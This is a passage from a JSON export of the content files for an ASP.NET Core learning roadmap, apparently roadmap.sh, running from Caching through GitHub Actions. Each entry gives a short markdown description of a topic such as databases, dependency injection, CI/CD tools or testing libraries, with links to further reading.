    "content": "# Caching\n\nCaching is a technique of storing frequently used data or information in a local memory, for a certain time period. So, next time, when the client requests the same information, instead of retrieving the information from the database, it will give the information from the local memory. The main advantage of caching is that it improves the performance by reducing the processing burden.\n\nVisit the following resources to learn more:\n\n- [@article@Caching in ASP.Net](https://www.c-sharpcorner.com/UploadFile/2072a9/caching-in-Asp-Net/)\n- [@article@Overview of caching in ASP.NET Core](https://learn.microsoft.com/en-us/aspnet/core/performance/caching/overview?view=aspnetcore-7.0)\n- [@article@Intro to Data Caching in ASP.NET](https://www.tutorialspoint.com/asp.net/asp.net_data_caching.htm)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/cassandra@U_-Gt5csu_hihl7ybFY-B.md",
    "content": "# Cassandra\n\nApache Cassandra is a free and open-source, NoSQL, distributed, wide-column store, and high-performance database management system designed to handle large amounts of data across many commodity servers, providing high availability with no single point of failure. It is designed to handle large amounts of data across many commodity servers, providing high availability with no single point of failure.\n\nCassandra is a column-family store and it stores data in a structured format, using tables and columns. It is based on a data model that is similar to that of Google's Bigtable, and it provides a query language that is similar to SQL.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Cassandra](https://www.tutorialspoint.com/cassandra/cassandra_introduction.htm)\n- [@article@Overview of Cassandra in ASP.NET](https://www.spiceworks.com/tech/big-data/articles/what-is-cassandra/)\n- [@feed@Explore top posts about Apache Cassandra](https://app.daily.dev/tags/apache-cassandra?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/change-tracker-api@wfEOvAkGXkTZGdGX341D4.md",
    "content": "# Change Tracker API\n\nThe Change Tracker API is a feature of ORM (Object-Relational Mapping) frameworks, such as Entity Framework Core, that allows developers to track changes to entities and automatically persist them to the database.\n\nThe Change Tracker API is typically exposed through the context class, which is the main class that manages the connection to the database and provides access to the entities.\n\nVisit the following resources to learn more:\n\n- [@article@Change Tracking in EF Core](https://learn.microsoft.com/en-us/ef/core/change-tracking/)\n- [@article@Intro to Change Tracking](https://www.oreilly.com/library/view/programming-entity-framework/9781449331825/ch05.html)\n- [@article@ChangeTracker in Entity Framework Core](https://www.entityframeworktutorial.net/efcore/changetracker-in-ef-core.aspx)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/ci--cd@KIFmahcNiSo2NGoLtAyRR.md",
    "content": "# CI CD\n\nCI/CD (Continuous Integration/Continuous Deployment) is a software development practice that involves automating the process of building, testing, and deploying code changes. It is a popular practice among software development teams, as it helps to ensure that code changes are integrated, tested, and deployed quickly and reliably.\n\nIn the context of [ASP.NET](http://ASP.NET), CI/CD can be used to automate various tasks related to the development, testing, and deployment of [ASP.NET](http://ASP.NET) applications. For example, you can use CI/CD to automatically build, test, and deploy an [ASP.NET](http://ASP.NET) application to a hosting provider, such as Azure or AWS, every time you push code to your source control repository.\n\nVisit the following resources to learn more:\n\n- [@article@How to reate a CI/CD pipeline for ASP.NET?](https://www.azuredevopslabs.com/labs/vstsextend/azuredevopsprojectdotnet/)\n- [@video@Building a CI/CD Pipeline in Azure DevOps for ASP.NET Core](https://youtube.com/watch?v=eOQL0nXQlLs)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/circle-ci@KyGjXgG6JFo42qOV0wqfB.md",
    "content": "# CircleCI\n\nCircleCI is a cloud-based continuous integration and continuous delivery (CI/CD) platform that allows developers to automate the process of building, testing, and deploying code. It is a popular platform that supports a wide range of languages and frameworks, including [ASP.NET](http://ASP.NET).\n\nIn [ASP.NET](http://ASP.NET), CircleCI can be used to automate various tasks related to the development, testing, and deployment of [ASP.NET](http://ASP.NET) applications. For example, you can use CircleCI to automatically build, test, and deploy an [ASP.NET](http://ASP.NET) application to a hosting provider, such as Azure or AWS, every time you push code to your source control repository.\n\nVisit the following resources to learn more:\n\n- [@official@Building and testing an ASP.NET apps with CircleCI](https://circleci.com/blog/building-and-testing-an-asp-net-core-application/)\n- [@article@How to Setup CircleCI for ASP.NET project](https://discuss.circleci.com/t/setup-circleci-for-asp-net-project/33796s)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/cloud@LrjmJs6_rXUkc2A7fEq24.md",
    "content": "# Cloud\n\nCloud in the context of [ASP.NET](http://ASP.NET) refers to the use of cloud computing services to host and run [ASP.NET](http://ASP.NET) web applications. Cloud computing is a model of delivering computing resources (such as servers, storage, and applications) over the internet on a pay-per-use basis.\n\nIn the case of [ASP.NET](http://ASP.NET), cloud providers such as Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP) offer services specifically tailored to host and run [ASP.NET](http://ASP.NET) web applications. These services include virtual machines, web roles, and serverless computing, which can be used to deploy and run [ASP.NET](http://ASP.NET) web applications in the cloud.\n\nVisit the following resources to learn more:\n\n- [@article@Building a .NET Cloud Application](https://www.c-sharpcorner.com/article/building-the-net-cloud-application/)\n- [@article@How to make a .NET Cloud Application?](https://dotnet.microsoft.com/en-us/apps/cloud)\n- [@article@Getting started with Cloud](https://aws.amazon.com/free/)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/code-first--migrations@ZPeebwJ3OBuywEgLLgQTG.md",
    "content": "# Code First Migrations\n\nCode First Migrations is a feature of Entity Framework that enables you to change the model classes in your application and then propagate those changes to the database. When you use Code First Migrations, Entity Framework generates the necessary SQL commands to update the database schema to match the model classes.\n\nTo use Code First Migrations, you need to enable it in your Entity Framework application. This can be done by adding a reference to the Entity Framework Migrations NuGet package, and then enabling Migrations in your application.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Code First Migration?](https://www.entityframeworktutorial.net/code-first/what-is-code-first.aspx)\n- [@article@Example for Code First Migrations](https://learn.microsoft.com/en-us/ef/ef6/modeling/code-first/migrations/)\n- [@article@Code First Migrations in Entity Framework](https://www.c-sharpcorner.com/UploadFile/26b237/code-first-migrations-in-entity-framework/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/constraints@1-XdtrGPbUoxpu9ZcQlBA.md",
    "content": "# Constraints\n\nDatabase constraints are rules that are used to limit the data that can be stored in a database table. These constraints can be used to ensure the integrity and accuracy of the data in the table, and they can be used to enforce business rules or other requirements. For example, a constraint might be used to ensure that a column only contains positive numbers, or to ensure that a column always has a unique value. Constraints can be specified at the time a table is created, or they can be added to an existing table. Some common types of constraints include primary keys, foreign keys, and NOT NULL constraints.\n\nVisit the following resources to learn more:\n\n- [@article@Constraints of SQL](https://www.educative.io/courses/database-design-fundamentals/m7JnY9Xm6Qp)\n- [@article@Constraints in DBMS](https://beginnersbook.com/2015/04/constraints-in-dbms/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/coravel@p3bZnKIyRgLmB764Kkhju.md",
    "content": "# Coravel\n\nCoravel is an open-source, lightweight library for .NET that allows you to easily perform background processing and scheduling in your [ASP.NET](http://ASP.NET) Core application. It provides a simple and elegant way to schedule tasks, run background jobs, and manage queues in your application.\n\nCoravel is inspired by Laravel's task scheduler and it's built on top of the .NET Core built-in Dependency Injection. It uses a fluent API to schedule tasks, allowing you to easily specify the frequency, start time, and end time of the task. It also provides a simple way to queue and process background jobs, allowing you to easily process large amounts of data or perform long-running tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Documentation of Coravel](https://docs.coravel.net/)\n- [@video@ASP.NET Task Scheduling with Coravel](https://www.youtube.com/watch?v=vu0fxlWl0wo)\n- [@video@How to Run a .Net Console App with Coravel](https://www.youtube.com/watch?v=KQpw_OYkKq8)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/cosmos-db@KrkV1w9b_Nwm6pe9diDRS.md",
    "content": "# CosmosDB\n\nVisit the following resources to learn more:\n\n- [@article@What is Azure Cosmos DB?](https://intellipaat.com/blog/what-is-azure-cosmos-db/)\n- [@article@Cosmos DB, Its Features, Benefits, Pricing etc](https://stackify.com/what-is-azure-cosmos-db/)\n- [@article@Getting started with Cosmos DB](https://acloudguru.com/blog/engineering/azure-cosmos-db-lets-you-focus-on-the-good-stuff)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/couchdb@vHcwt6ARi5YR3v-eDDjfl.md",
    "content": "# CouchDB\n\nCouchDB is an open-source, NoSQL document database designed for the web. It uses a document-oriented data model, which means that it stores data in semi-structured JSON format, and it is designed to be simple and easy to use. CouchDB provides a built-in web interface, called Futon, which can be used to interact with the database, and it also provides an HTTP API that can be used to interact with the database from an [ASP.NET](http://ASP.NET) application.\n\nIn an [ASP.NET](http://ASP.NET) application, CouchDB can be used as a data store to persist and retrieve application data. There are several libraries available for integrating CouchDB with an [ASP.NET](http://ASP.NET) application, such as Couchbase, which provides a .NET client for CouchDB that can be used to interact with the CouchDB server from within an [ASP.NET](http://ASP.NET) application.\n\nVisit the following resources to learn more:\n\n- [@article@CouchDB in ASP.NET Core Application](https://www.c-sharpcorner.com/article/crud-operation-to-couchdb-via-rest-api-in-asp-net-core-application/)\n- [@article@Use CouchDB with .NET](https://stackoverflow.com/questions/1050152/use-couchdb-with-net)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/cypress@f2UP2jDnDr7XEFIdAtBhH.md",
    "content": "# Cypress\n\nCypress is an open-source end-to-end testing framework for web applications, it's built on top of JavaScript and provides a set of APIs that allows developers to automate browser interactions. It's commonly used for testing web applications, as it can be used to automate browser-based tests and assert that the application behaves as expected. Cypress for .NET is not built on top of the .NET Core runtime and it does not provide bindings for C# or any other .NET languages, it's built on top of JavaScript and can be run in the browser.\n\nVisit the following resources to learn more:\n\n- [@official@Overview of Cypress](https://www.cypress.io/)\n- [@article@Cypress - End To End Testing Tool](https://www.c-sharpcorner.com/article/getting-started-with-cypress-io/)\n- [@feed@Explore top posts about Cypress](https://app.daily.dev/tags/cypress?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/dapper@UkWc41r0bZ1lptjse3As6.md",
    "content": "# Dapper\n\nDapper is a lightweight object-relational mapper (ORM) for the .NET framework. It is designed to provide fast and simple access to data stored in a database, by mapping the data to objects in the application.\n\nDapper helps you to write efficient and concise code for interacting with databases, without the need for a full-featured ORM like Entity Framework. It provides a set of extension methods for the IDbConnection interface, which you can use to execute SQL queries and map the results to strongly-typed objects.\n\nVisit the following resources to learn more:\n\n- [@opensource@The official Dapper website](https://github.com/StackExchange/Dapper)\n- [@article@The Dapper Documentation](https://dappertutorial.net/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/dapr@IHY9uL3dzYmf2D2wWgIh-.md",
    "content": "# Dapr\n\nDapr (Distributed Application Runtime) is an open-source, portable runtime that makes it easy to build microservices-based applications that run on the cloud and edge. It provides a set of building blocks for building microservices, including service discovery, state management, pub-sub messaging, and more. It is designed to be language-agnostic, so it can be used with any programming language, including .NET.\n\nVisit the following resources to learn more:\n\n- [@article@Get started with Dapr](https://learn.microsoft.com/en-us/dotnet/architecture/dapr-for-net-developers/getting-started)\n- [@article@Building an event-driven .NET Core app with Dapr](https://medium.com/polarsquad/building-an-event-driven-net-core-app-with-dapr-58cc83ab120b)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/data-structures-and-algorithms@RAX2xN37taw9cqA3pnORh.md",
    "content": "# Data Structures\n\nAs the name indicates, a **Data Structure** is a way of organizing the data in the **memory** so it can be used efficiently. Some common data structures are array, linked list, stack, hashtable, queue, tree, heap, and graph.\n\nVisit the following resources to learn more:\n\n- [@article@C# resources](https://dev.to/adavidoaiei/fundamental-data-structures-and-algorithms-in-c-4ocf)\n- [@article@Interview Questions about Data Structures](https://www.csharpstar.com/csharp-algorithms/)\n- [@video@Data Structures Illustrated](https://www.youtube.com/watch?v=9rhT3P1MDHk&list=PLkZYeFmDuaN2-KUIv-mvbjfKszIGJ4FaY)\n- [@feed@Explore top posts about Algorithms](https://app.daily.dev/tags/algorithms?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/database-design-basics@zlAcgLKxGF_TyrcJIk4X7.md",
    "content": "# Database design basics\n\nDatabase Design is a collection of processes that facilitate the designing, development, implementation and maintenance of enterprise data management systems. Properly designed database are easy to maintain, improves data consistency and are cost effective in terms of disk storage space. The main objectives of database design in DBMS are to produce logical and physical designs models of the proposed database system.\n\nVisit the following resources to learn more:\n\n- [@article@Database design basics](https://support.microsoft.com/en-us/office/database-design-basics-eb2159cf-1e30-401a-8084-bd4f9c9ca1f5)\n- [@video@Database Design Course](https://www.youtube.com/watch?v=ztHopE5Wnpc)\n- [@feed@Explore top posts about Database](https://app.daily.dev/tags/database?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/database-fundamentals@tnKUdsgp6bnFtQTexEmfy.md",
    "content": "# Database fundamentals\n\nA database is a collection of useful data of one or more related organizations structured in a way to make data an asset to the organization. A database management system is a software designed to assist in maintaining and extracting large collections of data in a timely fashion.\n\nA **Relational database** is a type of database that stores and provides access to data points that are related to one another. Relational databases store data in a series of tables.\n\n**NoSQL databases** offer data storage and retrieval that is modelled differently to \"traditional\" relational databases. NoSQL databases typically focus more on horizontal scaling, eventual consistency, speed and flexibility and is used commonly for big data and real-time streaming applications.\n\nVisit the following resources to learn more:\n\n- [@article@Oracle: What is a Database?](https://www.oracle.com/database/what-is-database/)\n- [@article@Prisma.io: What are Databases?](https://www.prisma.io/dataguide/intro/what-are-databases)\n- [@article@Intro To Relational Databases](https://www.udacity.com/course/intro-to-relational-databases--ud197)\n- [@article@NoSQL Explained](https://www.mongodb.com/nosql-explained)\n- [@video@What is Relational Database](https://youtu.be/OqjJjpjDRLc)\n- [@video@How do NoSQL Databases work](https://www.youtube.com/watch?v=0buKQHokLK8)\n- [@feed@Explore top posts about Database](https://app.daily.dev/tags/database?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/databases@Ujzn_dILCA7xoupnz398l.md",
    "content": "# Databases\n\nIn an [ASP.NET](http://ASP.NET) application, there are several types of databases that can be used to store and retrieve data. Some of the most commonly used databases include:\n\n*   Relational databases\n*   NoSQL databases\n*   In-memory databases\n*   Embedded databases\n*   Cloud-based databases\n\nEach database type has its own set of features and use cases, and the choice of which database to use will depend on the specific requirements of the application.\n\nVisit the following resources to learn more:\n\n- [@article@ASP.NET Database Tutorial](https://www.guru99.com/insert-update-delete-asp-net.html)\n- [@article@Introduction to Working with a Database in ASP.NET](https://learn.microsoft.com/en-us/aspnet/web-pages/overview/data/5-working-with-data)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/dependency-injection@IejHMMVKwA0sIInla4FjX.md",
    "content": "# Dependency Injection\n\nDependency injection (DI) is a software design pattern that is used to manage the dependencies of an application. It is a technique that allows developers to write loosely-coupled code, by separating the responsibility of creating and managing objects from the objects themselves.\n\nIn a typical implementation, a DI container is used to manage the dependencies of the application. The container is responsible for creating and managing instances of objects and their dependencies, and providing them to other objects as needed.\n\nVisit the following resources to learn more:\n\n- [@article@What is Dependency Injection?](https://stackoverflow.com/questions/130794/what-is-dependency-injection)\n- [@article@Dependency Injection, It's Definition & principles](https://www.growin.com/blog/what-is-dependency-injection/)\n- [@feed@Explore top posts about Dependency Injection](https://app.daily.dev/tags/dependency-injection?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/di-containers@iM760f8Ys66-VSkMiZfIX.md",
    "content": "# DI Containers\n\nA dependency injection (DI) container is a software component that is responsible for managing the dependencies of an application. It is used to create and manage instances of objects and their dependencies, and is particularly useful for implementing the Dependency Inversion Principle in software development.\n\nA DI container typically consists of two main parts: a configuration API, which is used to register the types and their dependencies, and a resolution API, which is used to retrieve instances of the registered types. The DI container automatically resolves the dependencies of the objects it creates, and manages the lifetime of the objects and their dependencies.\n\nVisit the following resources to learn more:\n\n- [@article@What is DI Container?](https://www.dotnettricks.com/learn/dependencyinjection/what-is-ioc-container-or-di-container)\n- [@article@Getting Started with DI Container](https://stackoverflow.com/questions/50718586/what-is-a-di-container)\n- [@article@How to Use DI Container?](https://learn.userfrosting.com/services/the-di-container)\n- [@feed@Explore top posts about Containers](https://app.daily.dev/tags/containers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/distributed-cache@SiG0FWWznjDg-2mIWlchy.md",
    "content": "# Distributed Cache\n\nA distributed cache is a cache shared by multiple app servers, typically maintained as an external service to the app servers that access it. A distributed cache can improve the performance and scalability of an [ASP.NET](http://ASP.NET) Core app, especially when the app is hosted by a cloud service or a server farm.\n\nVisit the following resources to learn more:\n\n- [@article@Distributed caching in ASP.NET Core](https://learn.microsoft.com/en-us/aspnet/core/performance/caching/distributed?view=aspnetcore-7.0)\n- [@article@What is a Distributed Cached?](https://hazelcast.com/glossary/distributed-cache/)\n- [@video@Distributed Caching In ASP.NET Core With Redis](https://www.youtube.com/watch?v=Tt5zIKVMMbs)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/distributed-lock@T2FsSndxzSuKTFdjoyPi-.md",
    "content": "# Distributed Lock"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/docker@rmRESzLiZNWdBFXLrwQFJ.md",
    "content": "# Docker\n\nDocker is a platform for developing, shipping, and running applications in containers. A container is a lightweight, standalone, and executable package of software that includes everything needed to run a piece of software, including the code, a runtime, system tools, libraries, and settings.\n\nDocker allows developers to package their applications and dependencies into a container, which can then be easily deployed and run on any host machine with Docker installed. This makes it easy to run the same software on different environments, such as development, staging, and production, without worrying about compatibility issues.s\n\nVisit the following resources to learn more:\n\n- [@article@ASP.NET and Docker](https://www.tatvasoft.com/blog/asp-net-core-and-docker/)\n- [@article@Introduction to .NET and Docker](https://learn.microsoft.com/en-us/dotnet/core/docker/introduction)\n- [@video@What is Docker, Why use it?](https://www.youtube.com/watch?v=vmnvOITMoIg)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/dynamo-db@1Om9aQDZmnj_DN10ogwDL.md",
    "content": "# DynamoDB\n\nAmazon DynamoDB is a fully-managed, NoSQL database service provided by Amazon Web Services (AWS) that can be used to store and retrieve large amounts of data. It is a highly-scalable, fast, and flexible NoSQL database service that supports both document and key-value data models.\n\nDynamoDB is designed to handle extremely high levels of read and write throughput, and it automatically scales to accommodate the traffic of an application. It also provides built-in support for data replication, allowing data to be automatically spread across multiple availability zones for increased durability and availability.\n\nVisit the following resources to learn more:\n\n- [@article@Getting started with DynamoDB](https://aws.amazon.com/dynamodb/)\n- [@article@Introduction to DynamoDB](https://cloudacademy.com/lab/introduction-dynamodb/)\n- [@feed@Explore top posts about AWS DynamoDB](https://app.daily.dev/tags/aws-dynamodb?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/easynetq@X6iSHoHnFFMaGb6YPQFhl.md",
    "content": "# EasyNetQ\n\nEasyNetQ is a simple and easy-to-use .NET client for RabbitMQ, a popular open-source message broker. It provides a simple and fluent API for connecting to RabbitMQ, publishing and consuming messages, and managing message queues.\n\nEasyNetQ supports a wide range of messaging patterns, such as publish-subscribe, request-response, and message-based sagas, and makes it easy to work with RabbitMQ's advanced features, such as message routing, message persistence, and message acknowledgements.\n\nVisit the following resources to learn more:\n\n- [@official@Overview of EasyNetQ](https://easynetq.com/)\n- [@video@RabbitMQ with EasyNetQ Tutorials](https://www.youtube.com/watch?v=CqxV_Xn4PlI)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/elastic-search@mK9OAwjReZoQZr1WSLRKJ.md",
    "content": "# Elasticsearch\n\nElasticsearch is a distributed, open-source search and analytics engine that can be used to index, search, and analyze large volumes of data quickly and in near real-time. It is built on top of the Apache Lucene library and can be used to perform full-text search, faceted search, and geospatial search, among other things.\n\nVisit the following resources to learn more:\n\n- [@article@Elasticsearch in ASP.NET Core](https://code-maze.com/elasticsearch-aspnet-core/)\n- [@article@An Elasticsearch Tutorial for .NET Developers](https://www.toptal.com/dot-net/elasticsearch-dot-net-developers)\n- [@article@How to integrate ElasticSearch in ASP.NET?](https://blexin.com/en/blog-en/how-to-integrate-elasticsearch-in-asp-net-core/)\n- [@feed@Explore top posts about ELK](https://app.daily.dev/tags/elk?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/entity-framework-2nd-level-cache@FV4GsPjUyAc99DnIwkkCC.md",
    "content": "# Entity Framework Cache\n\nEntity Framework Core(EF Core) is a cross-platform version of the popular Entity Framework data access technology that is lightweight, extendable, and open source. It can be used as an object-relational mapper (O/RM), which can Allow .NET developers to use .NET objects to interact with a database and Removes the requirement for most of the data-access code that is generally required.\n\nHowever, during peak loads, high-transaction .NET Core apps using EF Core have performance and scalability problems in the database tier. This is because, although you can scale the application layer by adding more application servers, you can't scale the database tier by adding more database servers.\n\nVisit the following resources to learn more:\n\n- [@article@Entity Framework 2nd Level Cache](https://www.gridgain.com/docs/latest/developers-guide/net-specific/net-entity-framework-cache)\n- [@article@Caching In Entity Framework](https://www.c-sharpcorner.com/article/caching-in-entity-framework-ef-core-using-ncache/)\n- [@video@What is Entity Framework?](https://www.youtube.com/watch?v=Z7713GBhi4k)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/entity-framework-core@ET74_7ieahNaGdPT11_NI.md",
    "content": "# Entity Framework Core\n\nEntity Framework Core (EF Core) is an open-source Object-Relational Mapping (ORM) framework for .NET. It is a lightweight, cross-platform version of Entity Framework, the ORM framework that was part of the .NET Framework. EF Core allows developers to work with relational data using domain-specific objects, eliminating the need to write raw SQL statements. Instead, EF Core provides a set of APIs that can be used to interact with a database, providing a simple and efficient way to perform common database operations such as querying, inserting, updating, and deleting data.\n\nVisit the following resources to learn more:\n\n- [@article@Example of Entity Framework Core](https://learn.microsoft.com/en-us/ef/core/)\n- [@article@Entity Framework Core Documentation](https://learn.microsoft.com/en-us/ef/)\n- [@article@What are the Basics of Entity Framework Core?](https://www.jetbrains.com/dotnet/guide/tutorials/basics/entity-framework-core/)\n- [@feed@Explore top posts about .NET](https://app.daily.dev/tags/.net?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/fakeiteasy@diRJ_F6kx42Ucs0fxidtZ.md",
    "content": "# FakeitEasy\n\nFakeItEasy is an open-source library for .NET that allows developers to create fake objects for use in unit testing, it is a powerful and easy-to-use mocking framework that provides a simple and intuitive syntax for creating fake objects and setting up fake behavior. In the context of [ASP.NET](http://ASP.NET), FakeItEasy can be used to create fake objects for testing web applications built using the [ASP.NET](http://ASP.NET) framework, it provides a simple and expressive syntax for creating fake objects and setting up fake behavior. FakeItEasy supports a wide range of testing frameworks, including MSTest, NUnit, and xUnit. FakeItEasy is lightweight and easy to use, making it a good choice for developers who are new to mocking and unit testing, it also provides a rich set of features, such as support for setting up fake behavior, making assertions on calls made to the fake objects, and more. It also has a wide range of extension points for customizing the fakes to suit different needs.\n\nVisit the following resources to learn more:\n\n- [@article@Easy mocking in C# code with FakeItEasy library](https://devislandblog.wordpress.com/2018/05/09/easy-mocking-in-c-code-with-fakeiteasy-library/)\n- [@article@FakeItEasy when testing ASP.NET Core controllers](https://stackoverflow.com/questions/56170818/how-to-fake-an-interface-method-dynamically-with-fakeiteasy-when-testing-asp-net)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/filters-and-attributes@U3HXmNq6x2YA3BwZsOTbe.md",
    "content": "# Filters and Attributes\n\nIn the [ASP.NET](http://ASP.NET) Core framework, filters and attributes are used to add additional functionality to controllers and action methods, such as authentication, authorization, caching, and exception handling."
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/fluentvalidation@sa0zXd8lpNs_SFQ2y-PY4.md",
    "content": "# FluentValidation\n\nFluentValidation is an open-source library for .NET that provides a fluent, easy-to-use API for validating domain models. It allows developers to define validation rules using a fluent, chainable syntax. It separates validation rules into separate classes called validators, it supports async validation, custom validation rules, and cascading validation. It makes it easy to read and understand the validation logic, and it returns a ValidationResult object, which contains information about any validation errors that were found.\n\nVisit the following resources to learn more:\n\n- [@article@Documentations of FluentValidation](https://docs.fluentvalidation.net/en/latest/)\n- [@article@FluentValidation in ASP.NET Core](https://docs.fluentvalidation.net/en/latest/aspnet.html)\n- [@article@Overview of FluentValidation in ASP.NET Core](https://code-maze.com/fluentvalidation-in-aspnet/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/fluid@ZaOhWWDgVxrn0hbesJ7xT.md",
    "content": "# Fluid\n\nFluid is a template engine for .NET that is based on the Fluid template language, it is similar to Liquid, but it's written in C#. It provides a simple and easy-to-use API for parsing and rendering templates, and supports a wide range of features such as variables, loops, conditionals, and functions. It also provides a wide range of built-in functions for working with strings, numbers, dates, and other types of data. It also supports advanced features such as scripting and metaprogramming. It is often used in web applications to separate the logic of the application from the presentation of the data, making it easy to change the appearance of the application without having to change the underlying code.\n\nVisit the following resources to learn more:\n\n- [@opensource@Overview of Fluid](https://github.com/sebastienros/fluid)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/framework-basics@eGVaAz3VhGu3cXBNxTAWd.md",
    "content": "# Framework Basics\n\nAn ORM (Object-Relational Mapping) framework is a tool that maps the objects in an application to the database tables, allowing developers to work with the database using familiar, object-oriented concepts.\n\nORM frameworks are tools that map the objects in an application to the database tables, allowing developers to work with the database using familiar, object-oriented concepts such as Entities, Mapping, Context, Queries, Lazy Loading, Change Tracking, and Caching.\n\nVisit the following resources to learn more:\n\n- [@article@ORM Framework](https://www.h2kinfosys.com/blog/orm-framework/)\n- [@article@What are Frameworks in ORM](https://www.killerphp.com/articles/what-are-orm-frameworks/)\n- [@article@Essentials of ORM Framework](https://medium.com/@mikependon/the-essentials-of-orm-framework-in-your-software-development-837131efd91b)\n- [@article@ORM Frameworks – What is an Object-Relational Mapping Framework](https://onlinecode.org/what-are-orm-frameworks/)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/frameworks@1YL7aXluINOO15W3waaiD.md",
    "content": "# Frameworks"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/general-development-skills@NEnna_8DstfYH4T9qrP3-.md",
    "content": "# General development skills\n\nThere are several skills that are generally considered to be important for working with .NET and C#:\n\n*   Object-oriented programming: Understanding the concepts of classes, objects, inheritance, and polymorphism is essential for working with C# and the .NET Framework.\n    \n*   C# language: A strong understanding of the C# language, including its syntax, keywords, and built-in classes and types, is necessary for writing efficient and maintainable code.\n    \n*   .NET Framework: Familiarity with the .NET Framework, including the Common Language Runtime (CLR) and the Base Class Library (BCL), is important for understanding how C# code is executed and for utilizing the framework's many built-in features.\n    \n*   Web & Software development: Knowledge of web development technologies such as HTML, CSS, JavaScript, and [ASP.NET](http://ASP.NET) is important for creating web applications using C# and the .NET Framework and knowledge of software development methodologies such as Agile, Scrum, or Waterfall is also useful.\n    \n*   Database: Familiarity with database concepts and technologies, such as SQL and [ADO.NET](http://ADO.NET), is important for working with data in C# applications.\n    \n*   Cloud computing: Familiarity with cloud computing concepts and technologies, such as Azure, is becoming increasingly important for deploying and scaling C# applications.\n    \n*   DevOps: Understanding of DevOps concepts and practices, such as continuous integration and continuous deployment, is necessary for automating and streamlining the software development process.\n\nVisit the following resources to learn more:\n\n- [@video@Asp.net - Complete Tutorial](https://www.youtube.com/watch?v=kdPtNMb8tPw)\n- [@video@Learn Cloud Computing](https://www.youtube.com/watch?v=eWwK2FKWp0g)\n- [@video@DevOps Course for Beginners](https://www.youtube.com/watch?v=hQcFE0RD0cQ)\n- [@feed@Explore top posts about Career](https://app.daily.dev/tags/career?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/git---version-control@OtdCmkj0SvrGwCUSfm96C.md",
    "content": "# Git\n\n[Git](https://git-scm.com/) is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.\n\nVisit the following resources to learn more:\n\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/github-actions@0-PLMXGlRyRzTk-EjXMs2.md",
    "content": "# GitHub Actions\n\nGitHub Actions is a powerful and flexible automation platform that enables developers to create custom workflows for their software development lifecycle (SDLC) directly in their GitHub repository. It allows developers to automate various tasks, such as building, testing, and deploying code, directly from their GitHub repository.\n\nIn [ASP.NET](http://ASP.NET), GitHub Actions can be used to automate various tasks related to the development, testing, and deployment of [ASP.NET](http://ASP.NET) applications. For example, you can use GitHub Actions to automatically build, test, and deploy an [ASP.NET](http://ASP.NET) application to a hosting provider, such as Azure or AWS, every time you push code to your GitHub repository.\n\nVisit the following resources to learn more:\n\n- [@article@Intro to GitHub Actions for .NET](https://devblogs.microsoft.com/dotnet/dotnet-loves-github-actions/)\n- [@article@Tutorial: Create a GitHub Action with .NET](https://learn.microsoft.com/en-us/dotnet/devops/create-dotnet-github-action)\n- [@article@Building and testing .NET](https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-net)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/aspnet-core/content/github-gitlab-bitbucket@KAZF-mIg-FlfMonfdOLhb.md",
